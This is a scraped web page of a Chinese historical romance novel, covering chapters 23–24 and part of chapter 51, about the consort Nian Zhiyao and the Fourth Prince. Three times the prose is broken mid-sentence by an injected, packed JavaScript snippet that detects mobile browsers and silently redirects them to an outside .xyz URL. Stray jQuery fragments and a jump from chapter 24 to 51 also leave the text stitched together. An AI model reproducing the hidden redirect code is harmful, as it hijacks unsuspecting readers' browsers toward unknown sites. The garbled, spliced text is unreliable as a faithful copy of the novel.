四爷笑了笑:“说什么傻话,爷不对你好对谁好。”
年芷瑶抬头看他:“爷,我好喜欢你。”头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15135732|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一次,她在四爷身上有了心动的危机感。
她眼波流转,脸上因意外而来的惊喜而泛起别样的神采,让人动容。
四爷抱住了她:“那瑶儿可要好好谢谢爷。”
年芷瑶身体力行地表示了自己的谢意。
昨夜两人闹得有些晚,还好她现在年轻,又有灵泉水的加持,最终还是硬撑着从床上起来了。
她看向白芨:“可都准备好了。”
白芨:“主子放心,夫人爱喝的茶和点心早早就备好了。”
看着自家主子在妆台前认真地在思考今日的装扮,她笑着退了下去,她还要再去下头看一下。
过了一会,白芍进来道,“小姐,夫人来了。”
年芷瑶连忙起身去迎,看到进门的额娘,她忍不住红了眼眶,轻轻喊了句:“额娘。”
年夫人见着她,也是未语泪先流,她拉着年芷瑶的手,念道:“我的儿。”
看着额娘落泪,年芷瑶忙擦了泪,说道:“额娘别哭。”
“女儿好着呢,额娘快坐。”
白芨连忙扶着年夫人坐了下来。
年夫人这才仔细看起了女儿,见她面色红润,一看就不是受了委屈的,总算是稍微松了一口气。
白芨看两人情绪微缓,连忙上了茶。
年芷瑶:“额娘,这是你最爱的碧螺春,您尝尝看。”
年夫人喝了一口,笑道:“这茶比家中的还要好。”她看向白芨:“你是个能干的,多亏有你在瑶儿身边,我才能放心。”
白芨:“多谢夫人夸赞,奴婢一定竭尽全力服侍小姐。”
年夫人笑着点了点头,她环顾四周,“怎么不见松嬷嬷。”
“嬷嬷在府里呢,总得有人看家才是。”
年夫人欣慰地点了点头,“你心中有数便好。”
她问道:“四爷待你可好。”
年芷瑶点了点头,说了句实在话,“四爷待我极好,此次来温泉也只带了我一个人,连与额娘的见面,也是四爷安排的。”
年夫人笑道:“这就好。”前些日子四爷派人过来传话说,让她这几日来温泉庄子一趟,她心中就有此猜测。
只是没想到能真见到她的瑶儿,四爷有这个心,想必对女儿也是有三分真心的。
当初老爷看四爷有潜龙之姿,想把女儿嫁过去为侧福晋,她一直都不同意,他们男人要争前途争去便是,何苦要牺牲她乖巧可怜的女儿。
老爷却说她糊涂,他说四爷嫡子早夭,余下三个阿哥,难辨贤愚,她女儿进府便是侧福晋,若是将来生了阿哥,未必不能坐上高位。
如今的佟佳一族何其荣耀,不就因是万岁的母家。
这话听了着实让人心动,可身为人母,又怎么舍得女儿进皇家,不若求一个平常人家,也好有娘家撑腰。
况且四爷再是潜龙,也比女儿长不少年岁,如何能是良配。
可自己的女儿却是个有主意的,对她说与其在普通人家的后院苦苦挣扎,不如去搏一把,她轻轻叹了一口气。
年芷瑶知道额娘担心她,连忙说起她在这些日子的趣事来,母女两个许多日子未见,仿佛有说不完的话。
到了午膳时间,苏培盛过来传话说,年主子和年夫人好些日子不见,四爷已经让大厨房办了席宴,让年夫人不必拘束,留下来用过午膳便是。
年夫人连忙起身道谢,“还请公公替我多谢王爷。”
苏培盛道:“夫人客气了。”
他对年芷瑶笑得尤其灿烂:“那奴才就先告退了。”
看着苏培盛离去,年夫人松了一口气,“你刚才说四爷待你好,如今我才算是信了一半。”连四爷身边的太监都对女儿这么客气,可见在女儿还是得四爷偏爱的。
年芷瑶笑了笑:“额娘,我都说了,四爷待我极好。”
年夫人摇头:“你一贯是报喜不报忧。”谁生的谁知道,她家瑶儿最是聪慧懂事,若是个男儿,比她哥哥也不差,只可惜...
是她这个做额娘的没用。
这世道,女子比男子总是更难一些。
23. 第 23 章
用过午膳后,年夫人并没有多待,反复确认过女儿一切都好后,她便提出告退。
年芷瑶只觉不舍。
年夫人劝道:“四爷虽和善,但咱们也不能失了分寸,见你过得好,额娘就放心了。”
年芷瑶知道额娘的担心,应声道:“额娘放心,女儿会好好的。”
白芨替她重新换上一杯热茶,劝道:“主子别难过,日后总会再见到夫人的。”
年芷瑶叹了一口气,“你说得对。”未来多的是机会。
“去前头问问,四爷晚上可过来。”
白芨:“是。”
还没等白芨去传话,四爷便走了进来。
年芷瑶连忙起身去迎:“爷,你来了。”
四爷看她:“怎么,见了年夫人怎么还不开心。”
年芷瑶蹭了蹭四爷的肩:“见着了开心,可额娘走了也舍不得。”
四爷拍了拍她的背,“这有什么,日后再请年夫人来便是。”
又道:“你喜欢这温泉,我们就再多待几日。”
看她重拾笑容,四爷总算是松了一口气。
年芷瑶对他撒娇道:“那我明日可以要上一壶酒吗,放在温泉里喝,温温的那种。”
四爷看她:“只准一壶。”
年芷瑶笑了起来:“爷最好了。”
在温泉庄子里的日子过得颇为惬意,她还让膳房的师傅用酱油,米酒,清酒,糖,做了一种类似于寿喜锅的汤底,用来涮火锅吃,虽说是仿冒的,但胜在大厨的手艺好,味道还是挺不错的。
就是少了颗无菌蛋,有点可惜。
四爷倒是对这种甜甜咸咸的汤汁不是很感冒,只陪她吃过一次便不再试了。
是夜,年芷瑶趴在一处池子边,她今日泡的温泉加了花瓣和香露,说是可以舒缓疲劳,滋养肌肤,是不是真的有效先另说,至少看起来很漂亮。
她抬手扬起池子里的花瓣,不禁叹道,有个私人温泉就是好啊。
只是外面有些过于安静了。
她刚想喊一下白芨,就听见外面传来了熟悉的脚步声。
是四爷走了进来。
四爷只穿了一件单衣过来,他缓缓将衣服脱下,露出了劲瘦有力的腰和若隐若现的腹肌。
年芷瑶默默地往池子下面走了走,将肩膀埋了进去,轻声道:“爷,你怎么来了。”
四爷挑眉,缓慢而有力地走到了池子中央,“爷来看看你。”
年芷瑶耳朵微红,还来看她,骗小孩子呢。
四爷伸手抓住她放在身前的手臂,将她拉到自己身边。
他拨了拨她脸上的碎发,露出一张清丽脱俗的脸,他忍不住叹道:“瑶儿,你真美。”
年芷瑶仰头,感受到他的手正握着自己的腰,手心火热滚烫,她忍不住嘤咛一声。
四爷声音低哑:“瑶儿。”
“唔。”年芷瑶抬头,一双眸子被池子的热气蒸得水汪汪的,好似满眼都是他。
身上也是又白又嫩,仿佛能掐出水来,只有那一抹红唇异常夺目。
四爷的眼神暗了暗。
年芷瑶被亲的双腿发软,没人告诉她,这个时候的四爷这么欲啊。
四爷将她抱了起来,让她靠在了温泉池子里修葺好的岩壁上。
感受到身后微凉的触感,年芷瑶短暂地清醒过来,软糯糯地说:“爷,我们先回屋吧。”
四爷勾唇一笑,“不急。”
!你不急,我急啊。
最后年芷瑶是被四爷抱出去的,她将头紧紧地埋在了四爷的怀里,看着身后死死盯着脚尖的白芨,羞愤愈加,这是什么破温泉池子,她再也不来了。
四爷摸了摸她微湿的发,嘱咐道:“让人给你把头发擦干再睡,小心着凉。”
年芷瑶瞪他一眼,这怪谁。
四爷笑了出声,十分轻松地将她一路抱回了屋子。
她摸了摸四爷的小臂,看不出来这人还挺有力气。
四爷看出了她的意思,笑道:“你才多重。”
他又抱着她掂了掂,皱了皱眉:“瑶儿是不是有些太轻了。”
年芷瑶红着脸,“快放我下来。”
“我这是标准体重。”
标准体重?虽没听过这个词,但四爷很快明白过来意思,他挑眉:“谁定的标准?”
年芷瑶卡壳了,她该说什么,三百年后的标准?也不适用清朝啊。
四爷看她不说话了,“平日里吃得也不算少,怎么都不长肉,是不是脾胃不好。”
他对苏培盛道:“回府后让李维过来看看。”
苏培盛低头:“是。”
看着四爷三言两语就给她定了个日常体检,年芷瑶无奈,只能拉过四爷,“爷,睡觉吧。”
怎么就从旖旎的画风变成这样了呢,她有些想不明白。
坐在回府的马车上,年芷瑶看着窗外的热闹,难免有些心动,她看向四爷:“爷,我想去逛一逛。”
四爷点头同意。
几人下了车,因要赶在午前回府,她便先去了宝庆楼。
这是京城最大的银楼,这家的工匠手艺精湛,连她的陪嫁的首饰也多是这里打制的,好久没来了,正好看看这儿有什么新的款式。
因楼上就设有专门的雅间,四爷便没让人清场,只是还未上楼,就听见一个闲散的声音传来。
“呦,这不是四哥吗,怎么今日有雅兴来逛这宝庆楼啊。”
四爷看他,微微皱眉:“老九。”
老九,是九爷吗。
年芷瑶扭头看去,只见说话的男子带着肆意的笑意,长得倒是不错,五官俊俏,面若好女。
看到她也在,九阿哥这才正了正神色,行礼道:“这定是小四嫂了吧,弟弟给嫂子请安。”
九爷咋舌,都说四哥对新进府的侧福晋宠爱有加,如今一看果然不假,就老四这副脾气,什么时候陪女人来逛过银楼。
她回了半礼:“贝勒爷客气了。”
年芷瑶看了看二人,道:“爷,我先上楼了。”
四爷点头。
九爷笑道:“四哥,好福气啊。”
四爷皱眉:“有事。”
九爷:“听说前些日子四哥去了温泉庄子,弟弟也一直想在那置办一个庄子,不知四哥可有门路。”
四爷看他:“你如今也不小了,不如多干点正经事才是要紧的。”
老九看着四爷以一副好兄长的样子教训他就来气,他家五哥都没这么管过他,老四倒是过上当哥哥的瘾了。
可这到底是哥哥,要是在这和四哥顶起来,明日他家老爷子非得教训他一顿不可。
只得忍气吞声地道:“四哥教训的是,弟弟就不打扰四哥。”他侧身上马,飞快地跑了。
四爷的眉头皱得越发的深。
年芷瑶正在二楼看着掌柜的拿来的镇店之宝,看四爷这么快就上来了,有些惊讶,“这么快就聊完了。”
听四爷说他把九爷训走了,她不由抽了抽嘴角,只是九爷又不是不知道他四哥是这个脾气,还凑过来干嘛。
九爷晃悠悠的出去,气冲冲地回来,连在正院喝茶都是一副恨不得将茶杯扔出去的模样。
九福晋见了难免心疼她那一整套青瓷牡丹的盖碗,连忙劝道:“我的爷,这是谁给你气受了。”
就九爷这混不吝的脾气,让他吃瘪的人可不多见。
九爷道:“还能是谁,不就是那个老四,爷是给他面子才去问他温泉庄子的,还对爷摆上哥哥的谱了。”
九福晋不解道,“咱家在小汤山不是有庄子吗,还有两个。”她比了个二对着他。
九爷移开视线,是八哥说四哥离京离得奇怪,他不过是想去试探试探,谁知讨了个没趣。
九福晋问他:“那四哥说什么了。”
“他说爷不务正业,让我干点正事。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15135733|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
九福晋默默看他:“四哥说得不是挺对的吗。”
要她说,九爷与其跟着八阿哥,还不如跟着四哥呢,没见十三阿哥如今都那样了,四爷还都照顾着呢,可见四哥是个重情的。
九爷气极,飞快走出了正院。
九福晋趁机将茶盏拿了过来。
一旁九福晋的陪嫁嬷嬷劝道:“我的主子,主子爷就是个孩子脾气,您也不顺着他点。”
九福晋哼了一声:“旁人怕他,我可不怕,他要是敢把火发到我身上来,我就进宫告娘娘去。”
没过几日,年芷瑶就收到了九爷送来的礼物,说是那日在外多有怠慢,是送过来赔罪的。
她问过四爷,四爷呵呵一笑,“他既送来,那就收着。”
四爷都这么说了,那还能怎么样,就收下呗。
只是九爷呀九爷,你先过来招惹四爷,再送东西弥补,你四哥是不会记得你的好的。
但不得不说,九爷的眼光还是不错的,其中有一座掐丝珐琅的蝴蝶屏风,美得让她移不开眼,被她直接摆在了书房。
都说九爷有钱,如今一看果然不假。
她将这话说给四爷听,四爷一笑,“他哪有什么钱,不过是手松罢了,前几年皇阿玛让追缴户部欠银,老八帮了不少人垫上,你说他的钱是哪来的。”
“到现在,还有不少人家的银子没收上来的呢。”
年芷瑶恍然:“怪不得这么多人说八爷贤德。”原来是拿人手短啊,“只是他们有这么多钱吗。”
户部亏空的事她也听说了,可这就不是几万两银子能解决的事,九爷救得了一时,救得了全部吗。
四爷笑了:“连瑶儿都明白的事,他们竟看不出。”
老八不过是黔驴技穷罢了。
这个老九的胆子也是大得很,还试探到他头上来了。
年芷瑶摇了摇头,她人在府里,外头的事听听也就罢了,到底离她远得很。
即回了府里,就少不了要交际。
耿氏笑道:“几日不见,侧福晋越发光彩照人了,那温泉庄子果真养人。”
年芷瑶:“妹妹说笑了。”
两人正有一搭没一搭地聊着,自从上次耿氏来她这送过点心后,便时不时地上门。
年芷瑶没想着在后院交朋友,可一个人待着到底也无聊,耿氏识眼色,又会聊天,倒不是个惹人烦的。
耿氏笑道:“侧福晋这儿的茶就是好,香气扑鼻。”
年芷瑶:“你若喜欢,等下带走些便是。”
耿氏也不推辞,她本来就是为了和侧福晋交好的,受些恩惠也好拉近关系。
白芨过来禀告:“主子,四爷过来了。”
耿氏连忙起身。
四爷走了进来,看了耿氏也在,微微一愣。
耿氏见了,连忙给四爷请安,她特意挑的午后过来就是为了避开四爷,没成想竟还会碰上,按理说她应该起身告退的。
可到底许久未见四爷了,告退的话停在嘴边,却迟迟说不出。
“起来吧。”
四爷上前牵住年芷瑶的手。
年芷瑶对他一笑:“爷。”
看着两人交错的身影,耿氏终于清醒过来,她道:“都这个时辰了,五阿哥应该快醒了,妾身就先不打扰爷和侧福晋了。”
四爷点了点头:“嗯,去吧。”
待耿氏走后,年芷瑶瞪了一眼四爷。
四爷:“这可不能怪爷,她是过来找你的。”
“是。”年芷瑶阴阳怪气:“怎么能怪爷呢,要怪只能怪爷是个香饽饽,谁都想来咬上一口。”
她也凑上去咬了一口。
四爷嘶了一声,笑了:“难不成小瑶儿是属狗的。”
年芷瑶哼了一声,然后抱住了他,坏了,她开始对四爷有占有欲了。
苏培盛也跟着嘶了一声,我的爷啊,您都被咬了怎么还能笑得这么开心。
24. 第 24 章
年芷瑶正坐在窗边吹风,夜晚的风吹到脸上透着微微凉意,正好缓解一下她有些燥热的脑袋。
白芨进来看见,连忙把窗子关上一半:“主子,外头风大,小心着凉。”
年芷瑶无奈:“白芨越发像个小管家婆了。”
白芨笑笑。
年芷瑶看她:“白芨。”
“嗯?”
“你在我身边几年了。”
白芨笑道:“奴婢六岁来到主子身边伺候,如今已有十二年了。”
“十二年啊。”
白芨点头:“主子是有什么心事。”
年芷瑶摇头,“只是觉得时间过得真快啊。”
白芨看向自家小姐,眼里泛起温柔的笑意,她是年府的家生子,她爹是在府里照看花木的,她娘是给各个院子里送花的,两人都没什么本事,一辈子拿的都是三等分例。
这活没油水,家里养不活三个孩子,就把她送了出来。
是夫人看她聪明伶俐,才让她去伺候小姐,她记得到小姐身边的时候,小姐才五岁,长得像菩萨身边的童女一般玉雪可爱,心地也同菩萨一般良善。
看到她刚搬进院子里,还会问她:“想不想家。”
可她哪还有家呢,要是家中疼爱的姑娘,即便是家生子,也不会这么早就送出来伺候人,就像夫人身边的如嬷嬷,家中女儿养得像个副小姐一样,怎么舍得送她出来吃苦呢。
后来,她娘每月来讨要她的月例银子还不够,还想将小姐赏的镯子拿走卖钱,她拒绝后,也是小姐为她出的头。
对她来说,这世上没什么比她家小姐更重要的,就像此时,她不清楚小姐为何烦恼,却依然会说:“小姐别怕,白芨会一直陪着你的。”
年芷瑶握着白芨的手,将她拉倒身边坐下,“嗯,我知道。”
比起让她相信四爷对她是真爱,还是一直在她身边的白芨更靠谱些。
日子一天天地冷了下来。
今儿个是去正院请安的日子,白芨给她裹上了狐裘披风。
到了正院,看见福晋已经出来了,她行礼后便落了座。
李氏摆弄着指甲:“如今天冷,年妹妹也是越发惫懒了,怎么连来福晋请安的时辰都晚了些。”
年芷瑶暗暗翻了个白眼,她出门的时辰根本没变,是福晋自己出来早了好不好。
“妹妹自然不比姐姐对福晋的忠心。”她抬头对李氏笑:“记得妹妹刚进府时,姐姐还时不时地告假说身子不适,不能来与福晋请安,如今倒是一日比一日来得更早了些,看来姐姐的身子应该是好多了。”
李氏眼里泛起火气。
福晋出言劝道:“都是一家子姐妹,早一些晚一些不妨什么事,只是身为女子,早日为四爷开枝散叶才是正经事。”
李氏道:“福晋说的是,再得爷宠爱,也该以子嗣为重,若是有人得了宠爱,却未尽职责,也合该自省自身,年妹妹你说是吗。”
这两人一唱一和地在说她占着四爷不散叶呗,如今四爷依旧每日宿在她这,即便留在前院,也没见他去找别人,怪不得她们着急了。
年芷瑶呵呵一笑:“福晋说的是,可是四爷每日去哪,也不是我能决定的。”
她拨了拨手上的镯子,“若是有人不得四爷喜欢,不如想想是不是自己的原因,是不是连阿哥都教不好,才让四爷不愿留宿的。”
李氏捏紧手帕:“你...”
年芷瑶看了她一眼,慢哟哟的起身:“福晋,今儿个我身子不适,就先回去了。”
说完,也不管身后人的脸色,便走了出去。
出了正院,她便对白芨道:“下次请安你就直接说我身子不适。”
之前给福晋面子,是她初来乍到还没站稳脚跟,如今看来,这面子给不给的,福晋也少不了找她麻烦。
不满四爷每日宿在她那,那就和四爷去说呀,这话和她说干嘛,难道她会傻到把四爷推出去吗。
可能福晋也知道,自己和四爷说,只会起反效果吧,这事只要康熙和德妃不开口,就没人能管得了四爷。
德妃不会管,康熙更不会在意自己三十多岁的儿子的房中事。
难不成谁还会去万岁跟前说,四爷如今正独宠府里的侧福晋,为了这个旁人都不碰了,这不是脑子有病嘛,得罪四爷对他有什么好处。
说不了四爷,就对着她阴阳怪气,真当她是软柿子啊。
白芨利索地答应:“是。”
这几次请安,福晋与李侧福晋动不动就你一言我一语的刺一刺主子,她早就心疼主子了,如今主子说不去,那是最好不过。
福晋的母家虽说是满族大姓,可那都是老黄历了,小一辈没一个有才干的,怎么比得上她们年家。
更别提李侧福晋了,阿玛现在才只是一个七品县丞,还是四爷看在三阿哥的份上才给他提的身份。
论宠爱,身份,哪比得上她们主子。
回东院的路上,年芷瑶也想明白了,其实自己喜欢上四爷也是很正常的,谁能拒绝一个出手大方,待人体贴,位高权重,又长得好看的男人呢。
只要自己没因爱情变得盲目,也就没什么大不了的,更何况,这不一定是坏事不是吗。
至少在四爷的面前,真心总是假意更动人一些。
前院书房
四爷正在回信,苏培盛悄悄地捧着食盒进来:“主子,年主子让人送了补汤过来。”
四爷点了点头,“放桌上吧。”
“是。”苏培盛小心翼翼地盛了一碗放了上来。
四爷看着面前的补汤,不免失笑,上次他让李维替她把脉后,瑶儿趁机让人给他也请了脉,李维说他肝郁气结。
她就让小厨房日日炖了补汤过来,说是疏肝理气的。
四爷:“去东院说声,爷午膳过去用。”
苏培盛低头:“是。”
东院
四爷看她出神,伸手弹了下她的额头:“想什么呢。”
年芷瑶:“在想爷怎么这么幼稚。”
四爷看着越发大胆的女子,笑了笑:“说爷幼稚,嗯?”
看着越凑越近的四爷,年芷瑶连忙求饶,“啊,爷,我错了。”
识时务者为俊杰,她可不想等着晚上被算账。
四爷抱住了她,冲她道:“现在才想起求饶,晚了。”
年芷瑶也不怕,笑嘻嘻地凑到他怀里:“爷,我好喜欢你啊。”
四爷收紧手臂,“嗯?有什么事求爷。”
年芷瑶撇嘴:“人家是真心的。”
四爷捏了捏她的脸,“说吧。”
年芷瑶抱住他的脖子:“我可以不去请安吗。”
“不想去就不去。”
“福晋老是说一些奇怪的话,我不....”年芷瑶解释道。
诶,她惊讶抬头,“爷,你答应得也太快了吧。”
四爷笑道:“不想去不去便是,难道瑶儿觉得你家爷连这点小事都做不了主了吗。”
年芷瑶摇头,然后猛地亲了四爷一口,“我好喜欢你啊,胤禛。”
听着瑶儿喊他的名字,四爷心神微动,笑了又笑。
临近年关,府里越发忙碌,东院也跟着忙个不停。
连针线房的嬷嬷都来了三趟。
年芷瑶看着屋子里一堆的料子有些崩溃,“至于吗。”不就是进个宫吗,之前也没这么夸张啊。
又被送过来给她培训的白嬷嬷道:“主子有所不知,过年要连着进宫好几日,宫里有个不成文的规矩,新年期间的衣服是不能重样的。”
年芷瑶:“也就是说这些新做的衣服只能穿一天。”
白嬷嬷点头,“若是整个新年只穿一身衣服,被旁人瞧见定要说些什么了。”
年芷瑶明白了,就像明星走红毯一样,若是两次穿了一样的衣服,就会被人宣传他们破产了、过气了,没想到这种风气早在清朝就有。
她泄气。
松嬷嬷赞同:“是得这样,人靠衣装嘛。”
白芍配合地去给她揉肩膀,“主子先歇歇。”
年芷瑶无奈,只能接着挑,好歹是群策群力,不算太费劲。
松嬷嬷:“这件料子不错。”她在年芷瑶身上比划了一下,“也衬主子的肤色,可以做件披风,里面的内衬做藕荷色吧。”
白嬷嬷点了点头。
几人忙了一下午,总算将新年的衣服给定好了。
白芨亲自将料子送了过去。
针线房的人尤为客气:“姑娘放心,侧福晋的衣服我们定是先做的,肯定是让手艺最好的嬷嬷来做。”
白芨点了点头,“你们也辛苦。”
她伸手塞了个东西过去,是一罐上好地擦手油,“日后少不了劳烦嬷嬷,还请嬷嬷多费点心。”
主子受宠,好东西多的是,不在乎这一星半点的,但拿来赏人一些,换来一个好名声,何乐而不为呢。
嬷嬷一闻便知这是好东西,有些欣喜,她们做衣服的,最爱惜的便是一双手,主子的衣裳都娇贵,若是手上起了茧子,别说做衣裳,就是珍贵的布料也摸不得了。
是以这东西算是送到嬷嬷心坎里了,她笑道:“都是奴婢们应该做的,姑娘客气了。”
待白芨走后,那嬷嬷吩咐道:“都先紧着年侧福晋的衣裳做。”
一旁的小丫鬟不解道:“嬷嬷,都是侧福晋,把李侧福晋的放在后面不大好吧。”
嬷嬷点了点她的头:“你个小丫头懂什么。”
虽说都是侧福晋,可差别可大了去了,主子爷都多久没去过李侧福晋的院子了,她还能去找谁告状不成。
去找福晋?福晋也不会为她出头啊。
况且,这李主子能不能进宫还是两说呢。
可年主子的若是不上心,等四爷知道了,她们就等着挨罚吧。
嬷嬷收了声,教会徒弟饿死师傅,“做事去吧。”
小丫鬟不懂,但十分听话,“是。”
不光是衣裳,四爷还送了不少首饰过来。
其中有一对翡翠镯子,种色都好,很是难得,她看了许久,好像比她之前在博物馆看到的藏品还要美。
四爷看她盯了许久,有些疑惑:“不喜欢吗,爷看你之前拿着爷的翡翠扳指玩,就让人找了块上好的翡翠,做了这对镯子。”
年芷瑶对着他笑,“喜欢,爷帮我戴上好不好。”
不用他说,她都知道,这块做镯子的板料定是他能找到的最好的一块,不然不会往她面前送的。
玉镯子戴在她手腕上,碧绿如水。
他摩挲着她的手,“很衬你。”
年芷瑶反握住他的手,“谢谢爷,我很喜欢。”
闲适的日子过得很快,转眼间便到了新年,不到寅时,年芷瑶就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15135734|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被白芨叫了起来:“主子,该起了,今日要进宫呢。”
年芷瑶困得不行,看了一眼身旁的座钟,还不到三点,“这也太早了吧。”
白芨:“还要梳妆呢。”
年芷瑶叹了口气,硬着头皮起了身。
早膳用的是小笼包,虾饺,芝麻包,豆沙包,麻将烧饼,还有各种粥羹。
起得太早,年芷瑶也没什么胃口,只简单吃了两筷子。
白芨劝道:“主子,再吃些吧,要在宫里待一天呢。”
年芷瑶摆了摆手:“吃不下。”
白芨无奈,只能在小荷包多装些酥糖,这些糖做好后都裹上了糯米纸,拿取时也不会脏手,很是方便。
雍亲王府外,马车早早就等在一旁。
四爷看着她一脸困倦,有些担心:“没休息好吗。”
年芷瑶摇头:“只是起得太早了。”
四爷笑笑:“等回来再睡。”
年芷瑶点了点头,拉下了他的手,“我没事,爷过去吧。”
福晋在一旁看着两人,默不作声。
四爷冲她点头:“辛苦福晋了。”
他翻身上马,“出发吧。”
队伍跟着动了起来,这大冷的天,不少人都被冻得不行,年芷瑶看着马背上的四爷,不免有些担心。
宫门外,十三府的马车早早等在一旁,看着雍亲王府的仪仗过来,连忙上前迎了两步,抱拳道:“四哥。”
四爷笑了起来:“十三。”
年芷瑶也跟着下了车,感叹道,十三爷真不愧是四爷最喜欢的弟弟啊,看这笑容,四爷啥时候对着别的兄弟这样笑过。
兄弟两个并排走到宫门口,即便四爷再不放心年芷瑶,也该去前殿了。
他看向一旁的十三福晋:“你四嫂心大,你多照看着些。”
十三福晋早就看见了打着哈欠的年芷瑶,自然知道他说的是哪个四嫂,道:“四哥放心。”
年芷瑶有些尴尬,她又不是小孩子了,怎么还托上了旁人呢。
可在这时也不能多说什么,只能跟着福晋和十三福晋身后走着,她总觉得前头有视线时不时地扫过她。
到了永和宫,福晋先走了进去,十三福晋在后头问道:“嫂嫂可还好。”
“我无事,你忙你的便是。”
十三福晋冲她笑笑,这小四嫂比她还小上些,难怪四哥如此放心不下。
她道:“嫂嫂若哪里不舒服,定要说与娘娘听,娘娘和善,定不会与你为难的。”
年芷瑶点着头进了永和宫的门。
德妃依然笑得和煦:“你们来了。”
七福晋来得早些,已经坐在了成嫔身旁。
年芷瑶坐在角落,只当自己是一个陪笑机器,德妃笑她笑,德妃停她停。
只是她刚悄悄打过一个哈欠,就听着话题就转到自己身上了。
她听福晋开口道:“我们爷刚才可是对着年妹妹紧张坏了呢,也怪我,没瞧到妹妹不舒服。”
德妃的笑停了一瞬,并未搭福晋的话茬。
又对她道:“好孩子,可是累了。”
年芷瑶起身,不好意思地笑笑:“回娘娘的话,昨儿个想着今日是新年,着实有些高兴,今儿个又起得太早,便有些撑不住了。”
她面上带着羞红,谁见了都是讨人喜爱的家中晚辈。
成嫔笑道:“她们这般年纪,正是贪睡的时候呢,不像我们这个年纪,已经睡不着喽。”
德妃一笑:“那便去偏殿歇一歇吧,免得老四回头再说我不疼他。”
一屋子人都笑了起来。
唯独福晋的脸色有些难看。
福嬷嬷笑道:“侧福晋,跟奴婢来吧。”
年芷瑶从善如流的起了身,在她看来,福晋不痛不痒地说她几句,除了自己难受,根本没别的用,难不成四爷会因为这话不来她的院子,
就是德妃,都会因为福晋给她找麻烦而不喜,如今正是新年,这么多的客人,正是你好我好大家好的时候,最好是啥事都没有。
她跟着福嬷嬷到了偏殿,上面有早已铺好的褥子枕头,她微微一福:“麻烦嬷嬷了。”
福嬷嬷行礼道:“侧福晋客气了,等宴会开始,奴婢会让人来喊您。”
“多谢嬷嬷了。”
脱离了嘈杂的环境,她一个人待着偏殿,只觉得舒服又自在,不知不觉便睡了过去,再醒来,精神好了不少。
门外也传了动静,一个小宫女走了进来:“侧福晋,该起了。”
等年芷瑶重梳了发髻,补好了妆,才跟着小宫女走了出去,顺利混入人群之中。
她瞧见德妃看了她一眼,然后对她露出一抹笑。
年芷瑶有些开心,也对着她笑了笑。
怎么办,她好像很招着对母子的喜欢。
总而言之,这次的宴会她感觉还不错,比上次过得快。
等出了宫门,白芨:“主子饿不饿,马车上有温着的羊肉汤,还有火烧。”
年芷瑶摸了摸肚子,“我还不饿,等一会儿吧。”
说来也怪,她在宫里一整天都没怎么吃东西,竟然没感觉饿。
白芨有些急,主子这两天都食欲不好,也不知是怎么回事。
四爷过来看她,听到这话,皱了皱眉,“回府后先去请李大夫过来。”
苏培盛:“是。”
50-60
第51章 第51章赢钱
白芍同白芨住在一间朝南屋子里,宽敞明亮,就算放下两张床也不显得挤,还有雕花楠木做的妆台,上面放着一些胭脂水粉,金银首饰,光看这些,是比一般小户人家的女儿穿戴的还要好些。
她们是侧福晋身边最受信任的大丫头,若是想要一人住上一间也是可以的,只是白芍自小就与白芨住在一起,来了新地方就更不愿意一个人住,白芨也惯着她。
这日晚上,碰巧她们都不当值,白芍洗漱完看了看白芨,有些欲言又止。
白芨看她:“有什么话就说吧。”
白芍挠了挠脸:“白芨姐姐,你真不嫁人啊。”
白芨笑了出来:“你忍了这么久,终于问出来了。”
白芍在她床上坐好:“今日主子问我,可想出府嫁人,明明姐姐比我大上两岁,却没有动静,我就想姐姐应是不愿意的。”
白芨摸了摸她的头,她与白芍自小一起长大,两人之间比亲姐妹还要更亲近一些,她也不瞒她:“是,我不愿嫁人。”
白芍道:“白芨姐姐不嫁人,我也不嫁,我要一辈子和主子,和白芨姐姐在一起。”
白芨叹她:“傻话,能说出这话,还是个小孩子呢。”
白芍不满道:“姐姐说我傻,可我却不是真的傻,我如今伺候主子,即清闲又有钱拿,若是出府嫁人,既要生儿育女,又要伺候公婆丈夫,定不如这般自在。”
“松嬷嬷那么好一个人,没伺候主子之前还受了不少委屈呢,若是能不嫁,那我也不嫁了。”
她并没有白芨那般坚持不嫁的心,只是于她而言,嫁人并不是最上等的选择,若是出门就能当官家太太,谁不想去,若是不能,还不如在府里好呢。
白芨替她拢起了在身前的头发,声音温柔:“不急,你好好想想,等想明白了再做决定。”
嫁人是件大事,并不是三言两语就能决定的,而是看清了利弊,知道了后果仍要坚持,日后才能不后悔。
再过几日便是中秋,府里光是月饼就做了三轮,不过比起月饼,还有一件事更引人注目一些。
二格格的奶嬷嬷来府里报喜,说是二格格平安生下了一位小阿哥。
